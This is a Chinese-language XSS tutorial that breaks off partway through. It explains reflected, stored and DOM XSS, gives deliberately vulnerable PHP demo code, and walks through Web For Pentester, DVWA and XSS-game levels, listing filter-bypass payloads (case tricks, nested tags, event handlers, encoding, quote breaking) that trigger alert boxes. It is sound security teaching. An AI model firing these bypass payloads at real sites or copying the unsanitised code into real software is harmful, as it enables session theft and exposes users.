XSS从零开始

XSS接触到现在也有不少时间了,但是以前却很少结合源码去分析为什么可以绕过,导致对XSS的理解很难更上一层楼,再加上网上相关的文章也零零散散,所以就有了系统的写一篇XSS文章的想法,本文会结合一些源码去分析XSS漏洞产生的原因。

前言

这部分主要是防止自动化爬虫转载文章,在当今原创很辛苦,抄袭的成本却很低,维权的成本又很高,虽然国内目前的抄袭风气很严重,但是我相信尊重原创,保护原创从现在做起从大家做起:

如果觉得本文对你有帮助的话,可以帮忙点击一下网页最下方的广告吗,个人小站运营不易,只能用爱发电勉强维持下去了。

XSS简介

XSS攻击指黑客通过特殊的手段往网页中插入了恶意的JavaScript脚本,从而在用户浏览网页时,对用户浏览器发起Cookie资料窃取、会话劫持、钓鱼欺骗等各攻击。

XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行。

XSS跨站脚本攻击漏洞也是OWASP Top 10中经常出现的对象,造成XSS漏洞普遍流行的原因如下:

  1. Web浏览器本身的设计不安全,无法判断JS代码是否是恶意的
  2. 输入与输出的Web应用程序基本交互防护不够
  3. 程序员缺乏安全意识,缺少对XSS漏洞的认知
  4. XSS触发简单,完全防御起来相当困难

XSS跨站脚本实例

下面的HTML代码就演示了一个最基本的XSS弹窗:

<html>
<head>XSS</head>
<body>
<script>alert("XSS")</script>
</body>
</html>

直接在HTML页面通过<script>标签来执行了javaScript内置的alert()函数,达到弹出消息框弹窗的效果:

XSS攻击就是将非法的JavaScript代码注入到用户浏览的网页上执行,而Web浏览器本身的设计是不安全的,它只负责解释和执行JavaScript等脚本语言,而不会判断代码本身是否对用户有害。

XSS的危害

诚然,XSS可能不如SQL注射、文件上传等能够直接得到较高操作权限的漏洞,但是它的运用十分灵活(这使它成为最深受黑客喜爱的攻击技术之一),只要开拓思维,适当结合其他技术一起运用,XSS的威力还是很大的。可能会给网站和用户带来的危害简单概括如下:

  1. 网络钓鱼
  2. 盗取用户cookies信息
  3. 劫持用户浏览器
  4. 强制弹出广告页面、刷流量
  5. 网页挂马
  6. 进行恶意操作,例如任意篡改页面信息
  7. 获取客户端隐私信息
  8. 控制受害者机器向其他网站发起攻击
  9. 结合其他漏洞,如CSRF漏洞,实施进一步作恶
  10. 提升用户权限,包括进一步渗透网站
  11. 传播跨站脚本蠕虫等

下图是著名漏洞公告平台乌云关于XSS漏洞的报告:

XSS分类

反射型XSS(非持久型)

反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

假设一个页面把用户输入的参数直接输出到页面上:

<?php
$input = $_GET['param'];
echo "<h1>".$input."</h1>";
?>

用户向param提交的数据会展示到<h1>的标签中展示出来,比如提交:

http://127.0.0.1/test.php?param=Hello XSS

会得到如下结果:

此时查看页面源代码,可以看到:

<h1>Hello XSS</h1>

此时如果提交一个JavaScript代码:

http://127.0.0.1/test.php?param=<script>alert(233)</script>

会发现,alert(233)在当前页面执行了:

再查看源代码:

<h1><script>alert(233)</script></h1>

用户输入的Script脚本,已经被写入页面中,这个就是一个最经典的反射型XSS,它的特点是只在用户浏览时触发,而且只执行一次,非持久化,所以称为反射型XSS。反射型XSS的危害往往不如持久型XSS,因为恶意代码暴露在URL参数中,并且时刻要求目标用户浏览方可触发,稍微有点安全意识的用户可以轻易看穿该链接是不可信任的。如此一来,反射型XSS的攻击成本要比持久型XSS高得多,不过随着技术的发展,我们可以将包含漏洞的链接通过短网址缩短或者转换为二维码等形式灵活运用。

存储XSS(持久型)

存储型XSS和反射型XSS的差别仅在于:提交的XSS代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交XSS代码。最典型的例子是留言板XSS。

为了复现存储型XSS,这里我们得用到数据库,本地新建一个名字叫做xss的数据库,里面新建一个message表,用来存放用户的留言信息,字段名分别是idusernamemessage

id设为主键,并勾选自动递增 ,也可以参考下面的sql语句来设计表:

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0

DROP TABLE IF EXISTS `message`;
CREATE TABLE `message`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
  `message` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 17 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;

SET FOREIGN_KEY_CHECKS = 1;

目前数据库方面设计完了,开始着手写PHP后端页面,来复现一下存储型XSS漏洞:

<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "root"; //数据库用户名
$pwd = "root"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form  method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
    /*直接将留言插入到数据库中*/
    $username=$_POST['username'];
    $message=$_POST['message'];
    if($username and $message)
    {
        $sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
        if ($conn->query($sql) === TRUE) {
            echo "留言成功"."<br>";
        } else {
            echo "Error: " . $sql . "<br>" . $conn->error;
        }
    }else{
        echo "请填写完整信息"."<br>";
    }

    /*查询数据库中的留言信息*/
    $sql = "SELECT username, message FROM message";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
        }
    } else {
        echo "暂无留言";
    }
?>

将以上代码保存为php文件,配置好数据库连接信息,通过http服务去访问,可以得到如下界面:

可以从代码看出,逻辑很简单,用户前端留言,就可以看到自己的留言信息了,代码中没有任何过滤,直接将用户的输入的语句插入到了html网页中,这样就很容易导致存储型XSS漏洞的产生。

当攻击者直接在留言板块插入alert('鸡你太美'),会导致这条恶意的语句直接插入到了数据库中,然后通过网页解析,成功触发了JS语句,导致用户浏览这个网页就会一直弹窗,除非从数据库中删除这条语句:

此时查看下网页源码:

<b>用户名:</b>蔡徐坤   <b>留言内容:</b><script>alert('鸡你太美')</script><br>

存储型XSS的攻击是最隐蔽的也是危害比较大的,普通用户所看的URL为http://127.0.0.1/test.php,从URL上看均是正常的,但是当目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是就触发了XSS攻击。

DOM XSS

通过修改页面的DOM节点形成的XSS,称之为DOM XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。

下面编写一个简单的含有DOM XSS漏洞的HTML代码:

<meta charset="UTF-8">

<script>
    function xss(){
        var str = document.getElementById("src").value;
        document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
    }
</script>

<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>

功能很简单,用户输入框插入图片地址后,页面会通过``标签将插入的图片显示在网页上:

同样,这里也没有对用户的输入进入过滤,当攻击者构造如下语句插入的时候:

 ' onerror=alert(233)

\

会直接在img标签中插入onerror事件,该语句表示当图片加载出错的时候,自动触发后面的alert()函数,来达到弹窗的效果,这就是一个最简单的DOM型XSS漏洞。

XSS靶场

本节主要是搭建一些靶场,因为大家都是搞信息安全的,所以靶场搭建的话我这里就不重复造轮子,通过搜索引擎可以找到很多图文并茂的教程,所以本节里面只做概括的作用。

Web For Pentester

官网https://pentesterlab.com/

下载地址https://isos.pentesterlab.com/web_for_pentester_i386.iso

安装方法:通过虚拟机挂载iso运行,该靶场环境是封装在debian系统里面的,运行在时候直接以Live方式运行,然后查看下ip地址:

然后物理机浏览器直接访问:

http://192.168.108.131/

这样一个Web For Pentester就搭建好了,默认是没有root密码的,可以自己设置一个root密码:

sudo passwd

第1关 无任何过滤

源码

<?php
        echo $_GET["name"];
?>

name变量直接通过GET方式传进去,然后通过echo输出。

payload

example1.php?name=<script>alert('XSS')</script>

第2关 大小写绕过

源码

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/","", $name);
        $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

使用了preg_replace函数来过滤标签,这里由于正则缺陷,没有考虑到大小写的情况,所以这里可以用大小写转换绕过。

payload

example2.php?name=<Script>alert('XSS')</scripT>

第3关 嵌套绕过

源码

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/i","", $name);
        $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

这里在第2关的基础上面,正则规则上面使用了/i,表示不区分大小写,利用这个特点可以构造一个嵌套的标签:

<scr<script>ipt>

被检测到``后,替换为了空(即删掉)就变成了一个完整的标签:

<script>

payload

example3.php?name=<sc<script>ript>alert('XSS')</</script>script>

第4关 其他标签绕过

源码

<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>

对script关键词进行了不区分大小写地过滤,匹配到就直接调用die("error")终止程序运行,因此上述的方法就不再适用,但是还可以通过其他许多标签来触发JS事件。

payload

example4.php?name=<img src=x onerror=alert('XSS')>

第5关 编码或者其他方法绕过

源码

<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>

对alert关键词进行了不区分大小写地过滤,可以使用其他类似alert的方法来弹窗

payload1

example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>

也可以通过String.fromCharCode()编码来绕过,使用Hackbar可以很方便地进行编码

alert('XSS')

经过String.fromCharCode()编码为:

String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)

payload2

example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

第6关 闭合双引号

源码

<script>
        var $a= "<?php  echo $_GET["name"]; ?>";
</script>

通过GET方式传入的name变量,直接输出在了script标签里面,可以尝试闭合前面的双引号",然后直接调用alert方法来弹窗,末尾再使用双引号"闭合后面的双引号。

payload1

example6.php?name=";alert('XSS');"

也可以尝试通过//直接注释掉后面的双引号",这样就不用考虑闭合了:

payload2

example6.php?name=";alert('XSS');//

第7关 闭合单引号

源码

<script>
        var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

和上一题类似,只是这里的最后是通过htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的a变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给a变量赋值的,所以依然可以通过闭合单引号'来弹窗。

payload

example7.php?name=';alert('XSS');'
example7.php?name=';alert('XSS');//

第8关 PHP_SELF

源码

<?php
  require_once '../header.php';

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

name变量通过form表单以POST方式传入,然后通过htmlentities函数是实体化后输出来,这次通过POST方式传入的name变量是比较安全的,暂时无法突破。重点分析这里,用户依然可以控制参数**PHP_SELF** ,并且这里没有过滤直接输入到了form`标签中,所以这里通过闭合依然可以XSS。

闭合引号和标签,通过``标签来弹窗:

payload1

example8.php/"><script>alert('XSS')</script>//

也可以通过闭合引号,通过事件来触发弹窗:

payload2

example8.php/" onclick=alert('XSS')//

第9关 location.hash

源码

<script>
  document.write(location.hash.substring(1));
</script>

直接通过location.hash传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性,往网页中写入JS代码。要了解这个location.hash属性,可以参考W3C的这篇资料:HTML DOM hash 属性

payload

example9.php#<script>alert('XSS')</script>

执行完成后,手动刷新下浏览器,经测试在Chrome和FireFox浏览器上的尖括号会被自动转码,在IE内核的浏览器上可以正常运行

DVWA

官网http://www.dvwa.co.uk/

下载地址https://github.com/ethicalhack3r/DVWA/archive/master.zip

安装方法:将/config/config.inc.php.dist文件重命名为/config/config.inc.php ,本地新建一个名字叫做dvwa的数据库,根据本地实际环境的信息,修改配置文件信息如下:(填写key这里是可选的操作):

$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = 'root';

$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

我本地使用的是PHPStudy搭建的环境,找到PHP扩展及设置-参数开关设置,勾选

allow_url_fopen
allow_url_include

浏览器访问DVWA的目录来进行安装:

http://127.0.0.1/DVWA/setup.php

点击Create / Reset Databas创建数据库,接着跳转到登录界面。

默认的账户名为:admin,密码为:password

安装成功的界面如上,可以在左侧的菜单栏中发现有发射XSS、存储XSS和DOM XSS的一些练习题。

反射 XSS LOW

源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

可以看看到对name变量没有任何的过滤措施,只是单纯的检测了name变量存在并且不为空就直接输出到了网页中。

payload

<script>alert('XSS')</script>

反射 XSS Medium

源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

只是简单的过滤了``标签,可以使用其他的标签绕过,这里因为正则匹配的规则问题,检测到敏感字符就将替换为空(即删除),也可以使用嵌套构造和大小写转换来绕过。

使用其他的标签,通过事件来弹窗,这里有很多就不一一列举了:

payload1

<img src=x onerror=alert('XSS')>

因为过滤规则的缺陷,这里可以使用嵌套构造来绕过:

payload2

<s<script>cript>alert('XSS')</script>

因为正则匹配没有不区分大小写,所以这里通过大小写转换也是可以成功绕过的:

payload3

<Script>alert('XSS')</script>

反射 XSS high

源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

这里的正则过滤更加完善了些,不区分大小写,并且使用了通配符去匹配,导致嵌套构造的方法也不能成功,但是还有其他很多标签来达到弹窗的效果:

payload

<img src=x onerror=alert('XSS')>

反射 XSS Impossible

源码

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

name变量通过htmlspecialchars()函数被HTML实体化后输出在了``标签中,目前来说没有什么的姿势可以绕过,如果这个输出在一些标签内的话,还是可以尝试绕过的。

DOM XSS LOW

源码

<div class="vulnerable_code_area">

         <p>Please choose a language:</p>

        <form name="XSS" method="GET">
            <select name="default">
                <script>
                    if (document.location.href.indexOf("default=") >= 0) {
                        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                        document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
                        document.write("<option value='' disabled='disabled'>----</option>");
                    }

                    document.write("<option value='English'>English</option>");
                    document.write("<option value='French'>French</option>");
                    document.write("<option value='Spanish'>Spanish</option>");
                    document.write("<option value='German'>German</option>");
                </script>
            </select>
            <input type="submit" value="Select" />
        </form>
</div>

DOM XSS是通过修改页面的DOM节点形成的XSS。首先通过选择语言后然后往页面中创建了新的DOM节点:

document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");

这里的lang变量通过document.location.href来获取到,并且没有任何过滤就直接URL解码后输出在了``标签中,以下payload在Firefox Developer Edition 56.0b9版本的浏览器测试成功

payload

?default=English <script>alert('XSS')</script>

DOM XSS Medium

源码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

default变量进行了过滤,通过stripos() 函数查找字符串在default变量值中第一次出现的位置(不区分大小写),如果匹配搭配的话手动通过location将URL后面的参数修正为?default=English`,同样这里可以通过其他的标签搭配事件来达到弹窗的效果。

闭合,然后使用``标签通过事件来弹窗

payload1

?default=English</option></select><img src=x onerror=alert('XSS')>

直接利用``的事件来弹窗

payload2

?default=English<input onclick=alert('XSS') />

DOM XSS high

源码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

使用了白名单模式,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:

?default=English ,这里只是对default的变量进行了过滤。

可以使用&连接另一个自定义变量来Bypass

payload1

?default=English&a=</option></select><img src=x onerror=alert('XSS')>
?default=English&a=<input onclick=alert('XSS') />

也可以使用#来Bypass

payload2

?default=English#</option></select><img src=x onerror=alert('XSS')>
?default=English#<input onclick=alert('XSS') />

DOM XSS Impossible

源码

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
    $decodeURI = "";
}

Impossible级别直接不对我们的输入参数进行URL解码了,这样会导致标签失效,从而无法XSS

存储 XSS LOW

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

payload

Name: sqlsec
Message: <script>alert('XSS')</script>

可以看到我们的payload直接插入到了数据库中了:

测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这条记录。

补充

trim

语法

trim(string,charlist)

细节

移除string字符两侧的预定义字符。

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符

charlist如果被省略,则移除以下所有字符:

符合 解释
\0 NULL
\t 制表符
\n 换行
\x0B 垂直制表符
\r 回车
空格
stripslashes

语法

stripslashes(string)

细节

去除掉string字符的反斜杠\,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。

mysql_real_escape_string

语法

mysql_real_escape_string(string,connection)

细节

转义 SQL 语句中使用的字符串中的特殊字符。

参数 描述
string 必需。规定要转义的字符串。
connection 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

以上这些函数都只是对数据库进行了防护,却没有考虑到对XSS进行过滤,所以依然可以正常的来XSS

存储 XSS Medium

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

payload1

Name: <img src=x onerror=alert('XSS')>
Message: www.sqlsec.com

可以看到我们的payload直接插入到了数据库中了:

因为name过滤规则的缺陷,同样使用嵌套构造大小写转换也是可以Bypass的:

paylaod2

Name: <Script>alert('XSS')</script>
Message: www.sqlsec.com

Name: <s<script>cript>alert('XSS')</script>
Message: www.sqlsec.com

测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这些记录。

补充

addslashes

语法

addslashes(string)

细节

返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL
strip_tags

语法

strip_tags(string,allow)

细节

剥去字符串中的 HTML、XML 以及 PHP 的标签。

参数 描述
string 必需。规定要检查的字符串。
allow 可选。规定允许的标签。这些标签不会被删除。
htmlspecialchars

语法

htmlspecialchars(string,flags,character-set,double_encode)

细节

把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • “ (双引号)成为 "
  • ‘ (单引号)成为 ‘
  • < (小于)成为 <
  • > (大于)成为 >

message 变量几乎把所有的XSS都给过滤了,但是name变量只是过滤了``标签而已,我们依然可以在name参数尝试使用其他的标签配合事件来触发弹窗。

name的input输入文本框限制了长度:

<input name="txtName" size="30" maxlength="10" type="text">

审查元素手动将maxlength的值调大一点就可以了。

<input name="txtName" size="50" maxlength="50" type="text">

存储 XSS high

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

message变量依然是没有什么希望,重点分析下name变量,发现仅仅使用了如下规则来过滤,所以依然可以使用其他的标签来Bypass:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

payload

Name: <img src=x onerror=alert('XSS')>
Message: www.sqlsec.com

存储 XSS Impossible

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

messagename变量都进行了严格的过滤,而且还检测了用户的token:

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

有效地防止了CSRF的攻击

XSS小游戏

这个和http://test.xss.tv/题目是一样的,忘记从哪里搞到源码的了,看了源码发现最后几道Flash XSS失效了,于是删了最后几道Flash XSS题目,然后把本地图片的引用都换了表情包,目前一共有1-15关。现在把这个源码放到了Github上面了:

项目地址https://github.com/sqlsec/xssgame

安装方法:直接解压源码到HTTP服务的目录下,浏览器直接访问即可,无需配置数据库等信息

第1关 无任何过滤措施

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
?>

name变量通过GET方式传入,直接带入到``标签中,没有任何过滤。

payload

/level1.php?name=<script>alert('xss')</script>

第2关 闭合双引号

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

keyword变量通过GET方式传入,赋值给$str变量,然后带入到标签中和标签。 标签经过了`htmlspecialchars($str)`编码,标签没有任何过滤,所以尝试在``标签中闭合双引号",来触发事件。

payload

" onclick=alert('XSS') //

第3关 闭合单引号

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

keyword变量通过GET方式传入,赋值给$str变量,然后带入到标签中和标签。 标签经过了`htmlspecialchars($str)`编码,标签没有任何过滤,所以尝试在``标签中闭合单引号',来触发事件。

payload

' onclick=alert('XSS') //

第4关 闭合双引号

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

在第2关的基础上,过滤了尖括号,但是直接在``标签中构造闭合双引号来构造事件来触发并用不到引号,所以第2关的payload依然适用。

payload

" onclick=alert('XSS') //

第5关 javascript妙用

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

首先对keyword变量使用了strtolower()函数转换,把所有字符转换为小写;接着过滤了,并替换为;过滤了on并替换为o_n。因为on是很多事件都包含的关键词,所以这里无法直接通过闭合引号在``标签中来触发弹窗了,这个可以闭合双引号和标签,然后通过javascript:alert('XSS')这种形式来触发弹窗。

payload

"><a href=javascript:alert('XSS') //

第6关 大小写转换

源码

<?php
ini_set("display_errors", 0);
